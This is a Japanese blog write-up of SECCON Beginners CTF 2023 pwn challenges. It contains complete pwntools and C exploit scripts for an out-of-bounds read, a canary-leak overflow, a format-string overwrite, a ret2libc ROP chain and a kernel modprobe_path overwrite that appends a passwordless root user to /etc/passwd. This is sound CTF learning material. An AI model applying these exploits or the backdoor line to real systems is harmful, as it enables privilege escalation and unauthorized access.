U+E000 私用領域

しがない緑茶好きのメモ的なの。

SECCON Beginners CTF 2023 write-up

まえがき

温度差から来る寝苦しさと涼しさを求めて開けた窓から入ってくる羽虫が鬱陶しい季節がやってきたので、SECCON Beginners CTFが開催されたようです。
No_Controlを除くPwnのみのwrite-upです。

poem

Out of Boundsの脆弱性がある。

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  // Here
  if (n < 5) {
    printf("%s\n", poem[n]);
  }

負数についてのチェックが存在しないため、グローバル変数として定義されているpoemよりも低位のアドレスを参照する事ができる。
-4を入力すると、同じくグローバル変数として定義されているflagが出力される。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./poem"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("poem.beginners.seccon.games", 9000)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b main
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


payload = b"-4"
p.sendlineafter(':', payload)


p.interactive()

flag: ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

rewriter 2

checksecの結果が以下

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2回入力する事ができ、どちらの入力にもBoFが存在する。
しかし、普通にBoFするとcanaryくんを殺してしまう。
こういう複数回の入力が許されている場合、大体は一回目でcanaryを特定すればいいものである。
canaryの特性として最下位 1byteは必ず0x00になる。
トルエンディアンの性質上、この最下位 1byteは最初にバッファに侵食される事になる。
従って、ここを任意の文字で埋める事で残りのcanaryをリーク、0x00を補う事でスタックに元々存在していた完全なcanaryを保管しておき、2回目の入力で復元するとともに、リターンアドレスを書き換える。
対象のバイナリはPIEが無効であるため、win関数のアドレスをそのままリターンアドレスに書き込む。
...だけのように見えるのだが、実はこのままだとsystem関数内のmovaps命令による例外で上手くsystem("/bin/sh")が実行されない。
このmovaps命令はスタックのサイズが0x10の倍数でアライメントされていない場合、例外を吐くようになっている。
(数年前のctf4bで引っかかって解けなかった苦い思い出)
スタックのサイズは0x8の倍数であるため、リターンアドレスにret命令が存在するアドレスを設定する事で、0x8バイト分スタック小さくなるため、このアライメントを揃える事ができるようになる。
前述したようにPIEが無効であるため、ret命令はmain関数などの適当なところから引っ張ってくればよい。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./rewriter2"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("rewriter2.beginners.seccon.games", 9001)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *main+78
                b *main+153
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


win = elf.symbols['win']
payload = b"A" * 0x8 * 5
payload += b'B'
p.recvuntil("?")
p.send(payload)

p.recvuntil('B')
canary = u64(b'\0' + p.recv(7))
log.info("canary: " + hex(canary))

rop_ret = 0x00401564
payload = b"A" * 0x8 * 5
payload += p64(canary)
payload += b"B" * 0x8
payload += p64(rop_ret)
payload += p64(win)
p.recvuntil("?")
p.send(payload)

p.interactive()

flag: ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

Forgot_Some_Exploit

checksecで確認できる範囲のセキュリティ機構は全て有効。
2回の入力と、FSBが存在するprintfによる出力が2回行われる。
バイナリ内にはwin関数が存在するため、前述のPIEの機構を回避してこの関数を実行するのが最終的な目標であると推測できる。
PIEはバイナリのアドレスをランダマイズする機構であるため、バイナリのアドレスをリークして相対的なオフセットからwin関数のアドレスを特定する必要がある。
また、win関数に制御を移すにはリターンアドレスを書き換える必要があるため、スタックのアドレスも同様にリークして相対的なオフセットからリターンアドレスの位置を特定する必要がある。
FSBでは%pを用いてスタックの内容をリークできるため、一回目の入力では - バイナリのアドレス - リターンアドレス付近のスタックのアドレス

をリークする。
手元の環境では%41$pecho関数からmain関数へのリターンアドレスであるmain+14のアドレスが、%13$pでリターンアドレスを保持しているアドレス - 0x8のアドレスがリークできたのだが、リモートで実行すると後者について全く異なる値をリークしてしまう。
glibcのバージョンによってスタックの構成が異なる事があったなぁ、という曖昧な記憶があったので、リモートの環境がUbuntu 22.04であると仮定してGLIBC 2.35-0ubuntu3libc.so.6とそれに対応したld.solibc databaseから持ってきて強制的にリンクするようパッチした。

$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./chall
$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./chall

この状態で実行してみると、リターンアドレスを保持するスタックアドレスは%40$pでリークできる事がわかった。
PIEでランダマイズされていてもmain関数とwin関数のアドレスの違いは下位2byteのみであるため、後はリターンアドレスの下位2byteを$hnを使って書き換えるだけである。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("forgot-some-exploit.beginners.seccon.games", 9002)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *echo+74
                b *echo+127
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

# local
#payload = b'%41$p%13$p'
# remote
payload = b'%41$p%40$p'

p.send(payload)

leak = eval(p.recv(14))
log.info("bin leak: " + hex(leak))
bin_base = leak - 0x12ec
elf.address = bin_base
log.info("bin base: " + hex(bin_base))
win = elf.symbols["win"]
log.info("win: " + hex(win))
leak = eval(p.recv(14))
log.info("stack leak: " + hex(leak))
ret_addr = leak - 0x8
log.info("return address@" + hex(ret_addr))

payload = "%{}c%8$hn".format(win+1&0xffff).encode()
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(ret_addr)

sleep(0.3)
p.send(payload)

p.interactive()

flag: ctf4b{4ny_w4y_y0u_w4nt_1t}

Elementary_ROP

checksecの結果が以下

[*] '/home/t3mp/ctf/seccon_beginners_2023/pwn/Elementary_ROP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main関数で皆さんご存知のgets関数が使用されている上に、No PIEかつNo canaryなのでROPをやるだけ。
一回目でGOTから適当な関数のlibcアドレスをリークして再びmain関数に戻り、二回目でsystem("/bin/sh")を実行する。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall_patched"
libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("elementary-rop.beginners.seccon.games", 9003)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
        b *main+51
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


rop_pop_rdi_ret = 0x0040115a
rop_ret = 0x004011ec

payload = b"A" * 0x28
payload += p64(rop_ret)
payload += p64(rop_pop_rdi_ret)
payload += p64(elf.got['printf'])
payload += p64(elf.plt['printf'])
payload += p64(elf.symbols['main'] + 1)

p.recvuntil(":")
p.sendline(payload)

p.recvuntil('\x20')
leak = u64(p.recv(6) + b'\0' * 2)
log.info("printf@libc: " + hex(leak))
libc_base = leak - libc.symbols['printf']
log.info("libc base: " + hex(libc_base))
libc.address = libc_base
log.info("system@libc: " + hex(libc.symbols["system"]))

binsh_addr = next(libc.search(b'/bin/sh\x00'))
log.info("/bin/sh: " + hex(binsh_addr))


payload = b"B" * 0x28
payload += p64(rop_ret)
payload += p64(rop_pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(libc.symbols["system"])

p.recvuntil(":")
p.sendline(payload)


p.interactive()

flag: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

driver4b

Kernel問しばらくやってなかったので、とりあえずpawnyable.cafeに行く。
Qemuを実行するrun.shを見てみると、有効なセキュリティ機構はKPTIくらいである事がわかる。

参考: https://pawnyable.cafe/linux-kernel/introduction/security.html

従って、

  • ユーザー空間のメモリに対する読み書き実行が可能
  • Kernel空間の関数や構造体のアドレスはランダマイズされない

という事がわかる。
また、src/configを見てみると以下のような記述がある。

# Static modprobe_path
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"

普通のKenrel Configにこのようなコメントが入るはずはないので、おそらく問題の解法において重要なのだろうと推測できる。
pawnyable.cafeからmodprobe_pathについて引用させていただく。

modprobe_path__request_moduleという関数から呼び出されるコマンド文字列で、書き換え可能領域に存在します。
Linuxには実行ファイル形式が複数共存しており、実行権限のあるファイルが実行されるとファイルの先頭のバイト列などから形式を判別します。標準ではELFファイルとshebangが登録されているのですが、このように登録されている形式にマッチしない不明な実行ファイルが呼び出されようとしたとき、__request_moduleが使われます。modprobe_pathには標準で/sbin/modprobeが書かれており、これを書き換えた上で不正な形式の実行ファイルを起動しようとすると、任意のコマンドが実行できます。

つまり、modprobe_pathを書き換えた上で不正な形式の実行ファイル(ヘッダが0xdeadbeefなど)を実行すると、そのpathに存在するスクリプトを特権で実行してくれるという事である。
なお、modeprobe_pathはおなじみpwntoolsを使って以下のように求める事ができる。

https://cdn.discordapp.com/attachments/530608865256013840/1114787052161093642/2023-06-03_21-51.png

なお、前述のようにKernel空間のランダマイズが無効(No KASLR)であるため、このアドレスは固定である。
以上のことから、今回の問題には任意アドレスへの書き込み(AAW)ができる脆弱性があるのだと予想できる。

その上でKernel Moduleのソースコードを読んでみる。
重要なのはmodule_ioctlなんだろうなぁという事がなんとなくわかる。

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

src/ctf4b.hを見てみると、

#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01

#define CTF4B_MSG_SIZE 0x100

とある事から、以下のようなコードにより、Kernel Moduleのグローバル変数であるg_messageへの書き込み、読み込みが可能である事がわかる。 ...と、ここまでブログを書いたところで、親切にexample.cが存在する事に気づいたので、これをそのまま貼らせていただく。

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(CTF4B_MSG_SIZE);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Get message */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  /* Update message */
  strcpy(buf, "Enjoy it!");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Get message again */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  free(buf);
  close(fd);
  return 0;
}

一見するとKernel ModuleにBoFも何もないので安全なように見えるが、前述のようにユーザー空間のメモリに対する読み書き実行が可能である事から、ユーザー空間のexploitに書かれたポインタをそのまま利用する事ができてしまう。
つまり、CTF4b_IOCTL_LOADにおいてg_messageの内容を書き込む先として渡すポインタにKernel空間のアドレスを渡す事ができるため、AAWができる。
これを使用してmodprobe_pathを書き換えれば良い。
全体的なexploitの流れは以下のようになる。

  1. g_message/tmp/evil.shを書き込む (modprobe_path書き換え用)
  2. 特権で実行して欲しいスクリプト/tmp/evil.shに書き込む
  3. modprobe_pathg_messageの書き込み先としてCTF4B_IOCTL_LOADを行う事でmodprobe_pathを書き換える
  4. デタラメな実行ファイルを実行する
  5. /tmp/evil.shが発火 win !

以下が実際のexploit

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define ulong unsigned long

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;

  ulong modprobe_path = 0xffffffff81e3a080;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(0x100);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Update message */
  memset(buf, 0, 0x100);
  strcpy(buf, "/tmp/evil.sh");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Prepare evil script */
  FILE *file = fopen("/tmp/evil.sh", "w");
  if (file == NULL)
    fatal("evil.sh");
  fprintf(file, "#!/bin/sh\necho \"t3mp::0:0:root:/root:/bin/sh\" >> /etc/passwd\n");
  fclose(file);
  system("chmod +x /tmp/evil.sh");

  /* Overwrite modprobe_path */
  char* ptr = (char*)modprobe_path;
  ioctl(fd, CTF4B_IOCTL_LOAD, ptr);

  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn");

  free(buf);
  close(fd);

  puts("Win! You can execute $ su t3mp");

  return 0;
}

/tmp/evil.shchmod -R 777 /rootと書けばflagは得れるのだが、個人的にroot shellが出てくると嬉しいので冗長なコードを書いている。
flag: ctf4b{HOMEWORK:Write_a_stable_exploit_with_KASLR_enabled}
AAR作ってアドレスリークするのかな...?
実はこの問題は開催して最初の方に手を付けていたのだが、evil.shshebangは必要である事に気づかず、解くのが非常に遅くなってしまった...無念。

No_Control

scanfでstackとheapを整数の文字列で汚染できる事はわかったが、そこから先が何も...

あとがき

今年もHeapに破れた...
色々をやっていたらブログの更新が一年近く空いてしまった事に驚いている。